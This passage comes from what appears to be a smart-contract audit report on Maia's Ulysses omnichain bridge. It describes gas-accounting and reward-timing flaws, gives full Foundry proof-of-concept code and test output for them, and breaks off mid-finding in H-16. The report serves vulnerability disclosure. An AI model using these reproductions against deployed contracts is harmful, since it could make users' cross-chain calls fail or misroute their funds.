helper_gauge_state();
// collect awards
hevm.prank(gauge1);
rewards.getAccruedRewards();
hevm.prank(gauge2);
rewards.getAccruedRewards();
hevm.prank(gauge3);
rewards.getAccruedRewards();
hevm.prank(gauge4);
rewards.getAccruedRewards();
console.log("--------------After getAccruedRewards state--------------");
helper_gauge_state();
}
function testDeprecatedAddedGauge2() public {
uint256 amount_rewards;
// setup + 1 normal cycle
testInitialGauge2();
// remove gauge
gaugeToken.removeGauge(gauge4);
// do one more normal cycle with only 3 gauges
hevm.warp(block.timestamp + 1000);
amount_rewards = rewards.queueRewardsForCycle();
console.log("--------------After 2nd queueRewardsForCycle state--------------");
console.log('nextCycleQueuedRewards', amount_rewards);
// examine state
helper_gauge_state();
hevm.prank(gauge1);
rewards.getAccruedRewards();
hevm.prank(gauge2);
rewards.getAccruedRewards();
hevm.prank(gauge3);
rewards.getAccruedRewards();
console.log("--------------After getAccruedRewards state--------------");
// examine state
helper_gauge_state();
// A new epoch can start for 1 more cycle
hevm.warp(block.timestamp + 1000);
// Add the gauge back, but before rewards are queued
gaugeToken.addGauge(gauge4);
amount_rewards = rewards.queueRewardsForCycle();
console.log("--------------After 3rd queueRewardsForCycle state--------------");
console.log('nextCycleQueuedRewards', amount_rewards);
// examine state
helper_gauge_state();
// this is fine
hevm.prank(gauge3);
rewards.getAccruedRewards();
// this is fine
hevm.prank(gauge4);
rewards.getAccruedRewards();
// this reverts
hevm.prank(gauge1);
rewards.getAccruedRewards();
// this reverts, same weight as gauge 1
hevm.prank(gauge2);
rewards.getAccruedRewards();
console.log("--------------After getAccruedRewards state--------------");
// examine state
helper_gauge_state();
}
function helper_gauge_state() public view {
console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards)));
console.log('gaugeCycle', rewards.gaugeCycle());
address[] memory gs = gaugeToken.gauges();
for(uint i=0; i<gs.length; i++) {
console.log('-------------');
(uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i]));
console.log("Gauge ",i+1);
console.log("priorRewards",prior1);
console.log("cycleRewards",stored1);
console.log("storedCycle",cycle1);
}
console.log('-------------');
}
Recommendation
When a new cycle starts, make sure gauges are re-added after rewards are queued in a cycle.
Assessed type
Timing
Addressed here.
[H-14] User may underpay for the remote call ExecutionGas
on the root chain
Submitted by Evo, also found by xuwinnie
User may underpay for the remote call ExecutionGas
. Meaning, the incorrect minExecCost
is being deposited at the _replenishGas
call inside _payExecutionGas
function.
Proof of Concept
Multichain contracts - anycall
v7 lines:
https://github.com/anyswap/multichain-smart-contracts/blob/645d0053d22ed63005b9414b5610879094932304/contracts/anycall/v7/AnycallV7Upgradeable.sol#L265
https://github.com/anyswap/multichain-smart-contracts/blob/645d0053d22ed63005b9414b5610879094932304/contracts/anycall/v7/AnycallV7Upgradeable.sol#L167
https://github.com/anyswap/multichain-smart-contracts/blob/645d0053d22ed63005b9414b5610879094932304/contracts/anycall/v7/AnycallV7Upgradeable.sol#L276
Ulysses-omnichain contract lines:
https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L811
https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L851
The user is paying the incorrect minimum execution cost for Anycall Mutlichain
L820, as the value of minExecCost
is calculated incorrectly. The AnycallV7
protocol considers a premium fee (_feeData.premium
) on top of the TX gas price, which is not considered here.
Let’s get into the flow from the start. When anyExec
is called by the executor (L265), the anycall
request that comes from a source chain includes the chargeDestFee
modifier.
function anyExec(
address _to,
bytes calldata _data,
string calldata _appID,
RequestContext calldata _ctx,
bytes calldata _extdata
)
external
virtual
lock
whenNotPaused
chargeDestFee(_to, _ctx.flags)
onlyMPC
{
IAnycallConfig(config).checkExec(_appID, _ctx.from, _to);
Now, the chargeDestFee
modifier will call the chargeFeeOnDestChain
function as well at L167.
/// @dev Charge an account for execution costs on this chain
/// @param _from The account to charge for execution costs
modifier chargeDestFee(address _from, uint256 _flags) {
if (_isSet(_flags, AnycallFlags.FLAG_PAY_FEE_ON_DEST)) {
uint256 _prevGasLeft = gasleft();
_;
IAnycallConfig(config).chargeFeeOnDestChain(_from, _prevGasLeft);
} else {
_;
}
}
As you see here in L198-L210, inside the chargeFeeOnDestChain
function includes _feeData.premium
for the execution cost totalCost
.
function chargeFeeOnDestChain(address _from, uint256 _prevGasLeft)
external
onlyAnycallContract
{
if (!_isSet(mode, FREE_MODE)) {
uint256 gasUsed = _prevGasLeft + EXECUTION_OVERHEAD - gasleft();
uint256 totalCost = gasUsed * (tx.gasprice + _feeData.premium);
uint256 budget = executionBudget[_from];
require(budget > totalCost, "no enough budget");
executionBudget[_from] = budget - totalCost;
_feeData.accruedFees += uint128(totalCost);
}
}
The conclusion: the minExecCost
calculation doesn’t include _feeData.premium
at L811, according to the Multichain AnycallV7
protocol.
You should include _feeData.premium
in minExecCost
as well. The same as in L204.
uint256 totalCost = gasUsed * (tx.gasprice + _feeData.premium);
This also applicable on:
_payFallbackGas()
in RootBridgeAgent
at L836.
_payFallbackGas()
in BranchBridgeAgent
at L1066.
_payExecutionGas
in BranchBridgeAgent
at L1032.
Recommended Mitigation Steps
Add _feeData.premium
to minExecCost
at the _payExecutionGas
function L811.
You need to get _feeData.premium
first from AnycallV7Config
by the premium(
) function at L286-L288.
uint256 minExecCost = (tx.gasprice + _feeData.premium) * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft()));
0xBugsy (Maia) confirmed and commented:
We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.
[H-15] The difference between gasLeft
and gasAfterTransfer
is greater than TRANSFER_OVERHEAD
, causing anyExecute
to always fail
Submitted by Koolex
In _payExecutionGas
, there is the following code:
///Save gas left
uint256 gasLeft = gasleft();
.
.
.
.
//Transfer gas remaining to recipient
SafeTransferLib.safeTransferETH(_recipient, gasRemaining - minExecCost);
//Save Gas
uint256 gasAfterTransfer = gasleft();
//Check if sufficient balance
if (gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) {
_forceRevert();
return;
}
It checks if the difference between gasLeft
and gasAfterTransfer
is greater than TRANSFER_OVERHEAD
. Then, it calls _forceRevert()
so that Anycall Executor
reverts the call. This check has been introduced to prevent any arbitrary code executed in the _recipient's fallback
(this was confirmed by the sponsor). However, the condition gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD
is always true. TRANSFER_OVERHEAD
is 24_000
.
uint256 internal constant TRANSFER_OVERHEAD = 24_000;
And the gas spent between gasLeft
and gasAfterTransfer
is nearly 70_000
which is higher than 24_000
. Thus, causing the function to always revert. Function _payExecutionGas
is called by anyExecute
which is called by the Anycall Executor
. This means anyExecute
will also fail. This happens because the gasLeft
value is stored before replenishing gas and not before the transfer.
Proof of Concept
This PoC is independent from the codebase (but uses the same code). There is one contract simulating BranchBridgeAgent.anyExecute
.
When we run the test, anyExecute
will revert because gasLeft - gasAfterTransfer
is always greater than TRANSFER_OVERHEAD
(24_000
).
Here is the output of the test:
[PASS] test_anyexecute_always_revert_bc_transfer_overhead() (gas: 124174)
Logs:
(gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) => true
gasLeft - gasAfterTransfer = 999999999999979606 - 999999999999909238 = 70368
Test result: ok. 1 passed; 0 failed; finished in 1.88ms
Explanation
The BranchBridgeAgent.anyExecute
method depends on the following external calls:
AnycallExecutor.context()
AnycallProxy.config()
AnycallConfig.executionBudget()
AnycallConfig.withdraw()
AnycallConfig.deposit()
WETH9.withdraw()
For this reason, I’ve copied the same code from multichain-smart-contracts. For WETH9
, I’ve used the contract from the codebase which has minimal code.
Please note that:
- tx.gasprice is replaced with a fixed value in the
_payExecutionGas
method, as it is not available in Foundry. - In
_replenishGas
, reading the config viaIAnycallProxy(local
AnyCallAddress).config()
is replaced with an immediate call for simplicity. In other words, avoiding a proxy to make the PoC simpler and shorter. However, if done with a proxy, the gas used would increase. So in both ways, it is in favor of the PoC. - In
_forceRevert
, we callanycallConfig
, immediately skipping the returned value fromAnycallProxy
. This is irrelevant for this PoC.
The Coded PoC
-
Foundry.toml
[profile.default] solc = '0.8.17' src = 'solidity' test = 'solidity/test' out = 'out' libs = ['lib'] fuzz_runs = 1000 optimizer_runs = 10_000
.gitmodules
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
branch = master
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/brockelmore/forge-std
branch = master
remappings.txt
ds-test/=lib/ds-test/src
forge-std/=lib/forge-std/src
- Test File:
// PoC => Maia OmniChain: anyExecute always revert in BranchBridgeAgent
pragma solidity >=0.8.4 <0.9.0;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {DSTest} from "ds-test/test.sol";
library SafeTransferLib {
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/- CUSTOM ERRORS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev The ETH transfer has failed.
error ETHTransferFailed();
/// @dev The ERC20 `transferFrom` has failed.
error TransferFromFailed();
/// @dev The ERC20 `transfer` has failed.
error TransferFailed();
/// @dev The ERC20 `approve` has failed.
error ApproveFailed();
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/- CONSTANTS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev Suggested gas stipend for contract receiving ETH
/// that disallows any storage writes.
uint256 internal constant _GAS_STIPEND_NO_STORAGE_WRITES = 2300;
/// @dev Suggested gas stipend for contract receiving ETH to perform a few
/// storage reads and writes, but low enough to prevent griefing.
/// Multiply by a small constant (e.g. 2), if needed.
uint256 internal constant _GAS_STIPEND_NO_GRIEF = 100000;
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/- ETH OPERATIONS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev Sends `amount` (in wei) ETH to `to`.
/// Reverts upon failure.
///
/// Note: This implementation does NOT protect against gas griefing.
/// Please use `forceSafeTransferETH` for gas griefing protection.
function safeTransferETH(address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
// Transfer the ETH and check if it succeeded or not.
if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
// Store the function selector of `ETHTransferFailed()`.
mstore(0x00, 0xb12d13eb)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
/// @dev Force sends `amount` (in wei) ETH to `to`, with a `gasStipend`.
/// The `gasStipend` can be set to a low enough value to prevent
/// storage writes or gas griefing.
///
/// If sending via the normal procedure fails, force sends the ETH by
/// creating a temporary contract which uses `SELFDESTRUCT` to force send the ETH.
///
/// Reverts if the current contract has insufficient balance.
function forceSafeTransferETH(
address to,
uint256 amount,
uint256 gasStipend
) internal {
/// @solidity memory-safe-assembly
assembly {
// If insufficient balance, revert.
if lt(selfbalance(), amount) {
// Store the function selector of `ETHTransferFailed()`.
mstore(0x00, 0xb12d13eb)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Transfer the ETH and check if it succeeded or not.
if iszero(call(gasStipend, to, amount, 0, 0, 0, 0)) {
mstore(0x00, to) // Store the address in scratch space.
mstore8(0x0b, 0x73) // Opcode `PUSH20`.
mstore8(0x20, 0xff) // Opcode `SELFDESTRUCT`.
// We can directly use `SELFDESTRUCT` in the contract creation.
// Compatible with `SENDALL`: https://eips.ethereum.org/EIPS/eip-4758
if iszero(create(amount, 0x0b, 0x16)) {
// To coerce gas estimation to provide enough gas for the `create` above.
if iszero(gt(gas(), 1000000)) {
revert(0, 0)
}
}
}
}
}
/// @dev Force sends `amount` (in wei) ETH to `to`, with a gas stipend
/// equal to `_GAS_STIPEND_NO_GRIEF`. This gas stipend is a reasonable default
/// for 99% of cases and can be overridden with the three-argument version of this
/// function if necessary.
///
/// If sending via the normal procedure fails, force sends the ETH by
/// creating a temporary contract which uses `SELFDESTRUCT` to force send the ETH.
///
/// Reverts if the current contract has insufficient balance.
function forceSafeTransferETH(address to, uint256 amount) internal {
// Manually inlined because the compiler doesn't inline functions with branches.
/// @solidity memory-safe-assembly
assembly {
// If insufficient balance, revert.
if lt(selfbalance(), amount) {
// Store the function selector of `ETHTransferFailed()`.
mstore(0x00, 0xb12d13eb)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Transfer the ETH and check if it succeeded or not.
if iszero(call(_GAS_STIPEND_NO_GRIEF, to, amount, 0, 0, 0, 0)) {
mstore(0x00, to) // Store the address in scratch space.
mstore8(0x0b, 0x73) // Opcode `PUSH20`.
mstore8(0x20, 0xff) // Opcode `SELFDESTRUCT`.
// We can directly use `SELFDESTRUCT` in the contract creation.
// Compatible with `SENDALL`: https://eips.ethereum.org/EIPS/eip-4758
if iszero(create(amount, 0x0b, 0x16)) {
// To coerce gas estimation to provide enough gas for the `create` above.
if iszero(gt(gas(), 1000000)) {
revert(0, 0)
}
}
}
}
}
/// @dev Sends `amount` (in wei) ETH to `to`, with a `gasStipend`.
/// The `gasStipend` can be set to a low enough value to prevent
/// storage writes or gas griefing.
///
/// Simply use `gasleft()` for `gasStipend` if you don't need a gas stipend.
///
/// Note: Does NOT revert upon failure.
/// Returns whether the transfer of ETH is successful instead.
function trySafeTransferETH(
address to,
uint256 amount,
uint256 gasStipend
) internal returns (bool success) {
/// @solidity memory-safe-assembly
assembly {
// Transfer the ETH and check if it succeeded or not.
success := call(gasStipend, to, amount, 0, 0, 0, 0)
}
}
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/- ERC20 OPERATIONS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
/// @dev Sends `amount` of ERC20 `token` from `from` to `to`.
/// Reverts upon failure.
///
/// The `from` account must have at least `amount` approved for
/// the current contract to manage.
function safeTransferFrom(
address token,
address from,
address to,
uint256 amount
) internal {
/// @solidity memory-safe-assembly
assembly {
let m := mload(0x40) // Cache the free memory pointer.
mstore(0x60, amount) // Store the `amount` argument.
mstore(0x40, to) // Store the `to` argument.
mstore(0x2c, shl(96, from)) // Store the `from` argument.
// Store the function selector of `transferFrom(address,address,uint256)`.
mstore(0x0c, 0x23b872dd000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
)
) {
// Store the function selector of `TransferFromFailed()`.
mstore(0x00, 0x7939f424)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
mstore(0x60, 0) // Restore the zero slot to zero.
mstore(0x40, m) // Restore the free memory pointer.
}
}
/// @dev Sends all of ERC20 `token` from `from` to `to`.
/// Reverts upon failure.
///
/// The `from` account must have their entire balance approved for
/// the current contract to manage.
function safeTransferAllFrom(
address token,
address from,
address to
) internal returns (uint256 amount) {
/// @solidity memory-safe-assembly
assembly {
let m := mload(0x40) // Cache the free memory pointer.
mstore(0x40, to) // Store the `to` argument.
mstore(0x2c, shl(96, from)) // Store the `from` argument.
// Store the function selector of `balanceOf(address)`.
mstore(0x0c, 0x70a08231000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
gt(returndatasize(), 0x1f), // At least 32 bytes returned.
staticcall(gas(), token, 0x1c, 0x24, 0x60, 0x20)
)
) {
// Store the function selector of `TransferFromFailed()`.
mstore(0x00, 0x7939f424)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Store the function selector of `transferFrom(address,address,uint256)`.
mstore(0x00, 0x23b872dd)
// The `amount` argument is already written to the memory word at 0x60.
amount := mload(0x60)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
)
) {
// Store the function selector of `TransferFromFailed()`.
mstore(0x00, 0x7939f424)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
mstore(0x60, 0) // Restore the zero slot to zero.
mstore(0x40, m) // Restore the free memory pointer.
}
}
/// @dev Sends `amount` of ERC20 `token` from the current contract to `to`.
/// Reverts upon failure.
function safeTransfer(address token, address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
mstore(0x14, to) // Store the `to` argument.
mstore(0x34, amount) // Store the `amount` argument.
// Store the function selector of `transfer(address,uint256)`.
mstore(0x00, 0xa9059cbb000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
)
) {
// Store the function selector of `TransferFailed()`.
mstore(0x00, 0x90b8ec18)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Restore the part of the free memory pointer that was overwritten.
mstore(0x34, 0)
}
}
/// @dev Sends all of ERC20 `token` from the current contract to `to`.
/// Reverts upon failure.
function safeTransferAll(
address token,
address to
) internal returns (uint256 amount) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, 0x70a08231) // Store the function selector of `balanceOf(address)`.
mstore(0x20, address()) // Store the address of the current contract.
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
gt(returndatasize(), 0x1f), // At least 32 bytes returned.
staticcall(gas(), token, 0x1c, 0x24, 0x34, 0x20)
)
) {
// Store the function selector of `TransferFailed()`.
mstore(0x00, 0x90b8ec18)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
mstore(0x14, to) // Store the `to` argument.
// The `amount` argument is already written to the memory word at 0x34.
amount := mload(0x34)
// Store the function selector of `transfer(address,uint256)`.
mstore(0x00, 0xa9059cbb000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
)
) {
// Store the function selector of `TransferFailed()`.
mstore(0x00, 0x90b8ec18)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Restore the part of the free memory pointer that was overwritten.
mstore(0x34, 0)
}
}
/// @dev Sets `amount` of ERC20 `token` for `to` to manage on behalf of the current contract.
/// Reverts upon failure.
function safeApprove(address token, address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
mstore(0x14, to) // Store the `to` argument.
mstore(0x34, amount) // Store the `amount` argument.
// Store the function selector of `approve(address,uint256)`.
mstore(0x00, 0x095ea7b3000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
)
) {
// Store the function selector of `ApproveFailed()`.
mstore(0x00, 0x3e3f8f73)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Restore the part of the free memory pointer that was overwritten.
mstore(0x34, 0)
}
}
/// @dev Returns the amount of ERC20 `token` owned by `account`.
/// Returns zero if the `token` does not exist.
function balanceOf(
address token,
address account
) internal view returns (uint256 amount) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x14, account) // Store the `account` argument.
// Store the function selector of `balanceOf(address)`.
mstore(0x00, 0x70a08231000000000000000000000000)
amount := mul(
mload(0x20),
and(
// The arguments of `and` are evaluated from right to left.
gt(returndatasize(), 0x1f), // At least 32 bytes returned.
staticcall(gas(), token, 0x10, 0x24, 0x20, 0x20)
)
)
}
}
}
interface IAnycallExecutor {
function context()
external
view
returns (address from, uint256 fromChainID, uint256 nonce);
function execute(
address _to,
bytes calldata _data,
address _from,
uint256 _fromChainID,
uint256 _nonce,
uint256 _flags,
bytes calldata _extdata
) external returns (bool success, bytes memory result);
}
interface IAnycallConfig {
function calcSrcFees(
address _app,
uint256 _toChainID,
uint256 _dataLength
) external view returns (uint256);
function executionBudget(address _app) external view returns (uint256);
function deposit(address _account) external payable;
function withdraw(uint256 _amount) external;
}
interface IAnycallProxy {
function executor() external view returns (address);
function config() external view returns (address);
function anyCall(
address _to,
bytes calldata _data,
uint256 _toChainID,
uint256 _flags,
bytes calldata _extdata
) external payable;
function anyCall(
string calldata _to,
bytes calldata _data,
uint256 _toChainID,
uint256 _flags,
bytes calldata _extdata
) external payable;
}
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// function receive() external payable {
// deposit();
// }
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != 255) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
contract AnycallExecutor {
struct Context {
address from;
uint256 fromChainID;
uint256 nonce;
}
// Context public override context;
Context public context;
constructor() {
context.fromChainID = 1;
context.from = address(2);
context.nonce = 1;
}
}
contract AnycallV7Config {
event Deposit(address indexed account, uint256 amount);
mapping(address => uint256) public executionBudget;
/// @notice Deposit native currency crediting `_account` for execution costs on this chain
/// @param _account The account to deposit and credit for
function deposit(address _account) external payable {
executionBudget[_account] += msg.value;
emit Deposit(_account, msg.value);
}
}
contract BranchBridgeAgent {
error AnycallUnauthorizedCaller();
error GasErrorOrRepeatedTx();
uint256 public remoteCallDepositedGas;
uint256 internal constant MIN_EXECUTION_OVERHEAD = 160_000; // 100_000 for anycall + 35_000 Pre 1st Gas Checkpoint Execution + 25_000 Post last Gas Checkpoint Executions
uint256 internal constant TRANSFER_OVERHEAD = 24_000;
WETH9 public immutable wrappedNativeToken;
AnycallV7Config public anycallV7Config;
uint256 public accumulatedFees;
/// @notice Local Chain Id
uint24 public immutable localChainId;
/// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address where cross-chain requests are executed in the Root Chain.
address public immutable rootBridgeAgentAddress;
/// @notice Local Anyexec Address
address public immutable local`AnyCall`ExecutorAddress;
/// @notice Address for Local AnycallV7 Proxy Address where cross-chain requests are sent to the Root Chain Router.
address public immutable local`AnyCall`Address;
constructor() {
AnycallExecutor anycallExecutor = new AnycallExecutor();
local`AnyCall`ExecutorAddress = address(anycallExecutor);
localChainId = 1;
wrappedNativeToken = new WETH9();
local`AnyCall`Address = address(3);
rootBridgeAgentAddress = address(2);
anycallV7Config = new AnycallV7Config();
}
modifier requiresExecutor() {
_requiresExecutor();
_;
}
function _requiresExecutor() internal view {
if (msg.sender != local`AnyCall`ExecutorAddress)
revert AnycallUnauthorizedCaller();
(address from, , ) = IAnycallExecutor(local`AnyCall`ExecutorAddress)
.context();
if (from != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
}
function _replenishGas(uint256 _executionGasSpent) internal virtual {
//Deposit Gas
anycallV7Config.deposit{value: _executionGasSpent}(address(this));
// IAnycallConfig(IAnycallProxy(local`AnyCall`Address).config()).deposit{value: _executionGasSpent}(address(this));
}
function _forceRevert() internal virtual {
IAnycallConfig anycallConfig = IAnycallConfig(
IAnycallProxy(local`AnyCall`Address).config()
);
// uint256 executionBudget = anycallConfig.executionBudget(address(this));
uint256 executionBudget = anycallV7Config.executionBudget(
address(this)
);
// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
if (executionBudget > 0)
try anycallConfig.withdraw(executionBudget) {} catch {}
}
/**
* @notice Internal function repays gas used by Branch Bridge Agent to fulfill remote initiated interaction.
- @param _recipient address to send excess gas to.
- @param _initialGas gas used by Branch Bridge Agent.
*/
function _payExecutionGas(
address _recipient,
uint256 _initialGas
) internal virtual {
//Gas remaining
uint256 gasRemaining = wrappedNativeToken.balanceOf(address(this));
//Unwrap Gas
wrappedNativeToken.withdraw(gasRemaining);
//Delete Remote Initiated Action State
delete (remoteCallDepositedGas);
///Save gas left
uint256 gasLeft = gasleft();
//Get Branch Environment Execution Cost
// Assume tx.gasPrice 1e9
uint256 minExecCost = 1e9 *
(MIN_EXECUTION_OVERHEAD + _initialGas - gasLeft);
//Check if sufficient balance
if (minExecCost > gasRemaining) {
_forceRevert();
return;
}
//Replenish Gas
_replenishGas(minExecCost);
//Transfer gas remaining to recipient
SafeTransferLib.safeTransferETH(_recipient, gasRemaining - minExecCost);
//Save Gas
uint256 gasAfterTransfer = gasleft();
//Check if sufficient balance // This condition is always true
if (gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) {
console.log(
"(gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) => true"
);
console.log(
"gasLeft - gasAfterTransfer = %d - %d = %d",
gasLeft,
gasAfterTransfer,
gasLeft - gasAfterTransfer
);
_forceRevert();
return;
}
}
function anyExecute(
bytes memory data
)
public
virtual
requiresExecutor
returns (bool success, bytes memory result)
{
//Get Initial Gas Checkpoint
uint256 initialGas = gasleft();
//Action Recipient
address recipient = address(0x0); // for simplicity and since it is irrelevant //address(uint160(bytes20(data[PARAMS_START:PARAMS_START_SIGNED])));
// Other Code Here
//Deduct gas costs from deposit and replenish this bridge agent's execution budget.
_payExecutionGas(recipient, initialGas);
}
function depositIntoWeth(uint256 amt) external {
wrappedNativeToken.deposit{value: amt}();
}
fallback() external payable {}
}
contract GasCalcTransferOverHead is DSTest, Test {
BranchBridgeAgent branchBridgeAgent;
function setUp() public {
branchBridgeAgent = new BranchBridgeAgent();
vm.deal(
address(branchBridgeAgent.local`AnyCall`ExecutorAddress()),
100 ether
); // executer pays gas
vm.deal(address(branchBridgeAgent), 100 ether);
}
function test_anyexecute_always_revert_bc_transfer_overhead() public {
// add weth balance
branchBridgeAgent.depositIntoWeth(100 ether);
vm.prank(address(branchBridgeAgent.local`AnyCall`ExecutorAddress()));
vm.expectRevert();
branchBridgeAgent.anyExecute{gas: 1 ether}(bytes(""));
vm.stopPrank();
}
}
Recommended Mitigation Steps
Increase the TRANSFER_OVERHEAD
to cover the actual gas spent. You could also add a gas checkpoint immediately before the transfer to make the naming makes sense (i.e. TRANSFER_OVERHEAD
). However, the gas will be nearly 34_378
, which is still higher than TRANSFER_OVERHEAD
(24_000
).
You can simply comment out the code after gasLeft
till the transfer, by removing _minExecCost
from the value to transfer since it is commented out. Now, when you run the test again, you will see an output like this (with a failed test but we are not interested in it anyway):
[FAIL. Reason: Call did not revert as expected] test_anyexecute_always_revert_bc_transfer_overhead() (gas: 111185)
Logs:
(gasLeft - gasAfterTransfer > TRANSFER_OVERHEAD) => true
gasLeft - gasAfterTransfer = 999999999999979606 - 999999999999945228 = 34378
Test result: FAILED. 0 passed; 1 failed; finished in 1.26ms
gasLeft
- gasAfterTransfer
= 34378
Please note that I have tested a simple function in Remix as well and it gave the same gas spent (i.e. 34378):
// copy the library code from Solady and paste it here
// https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol
contract Test {
function testGas() payable public returns (uint256){
///Save gas left
uint256 gasLeft = gasleft();
//Transfer gas remaining to recipient
SafeTransferLib.safeTransferETH(address(0), 1 ether);
//Save Gas
uint256 gasAfterTransfer = gasleft();
return gasLeft-gasAfterTransfer;
}
}
The returned value will be 34378.
0xBugsy (Maia) confirmed and commented:
We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.
[H-16] Overpaying remaining gas to the user for failing anyExecute
call due to an incorrect gas unit calculation in BranchBridgeAgent
Submitted by Koolex, also found by Koolex
The anyExecute
method is called by the Anycall Executor
on the destination chain to execute interaction. The user has to pay for the remote call ExecutionGas
; this is done at the end of the call. However, if there is not enough gasRemaining
, the anyExecute
will be reverted due to a revert caused by the Anycall Executor
.
Here is the calculation for the gas used:
///Save gas left
uint256 gasLeft = gasleft();
//Get Branch Environment Execution Cost
uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasLeft);
//Check if sufficient balance
if (minExecCost > gasRemaining) {
_forceRevert();
return;
}
_forceRevert
will withdraw all of the execution budget:
// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
if (executionBudget > 0) try anycallConfig.withdraw(executionBudget) {} catch {}
So Anycall Executor
will revert if there is not enough budget. This is done at:
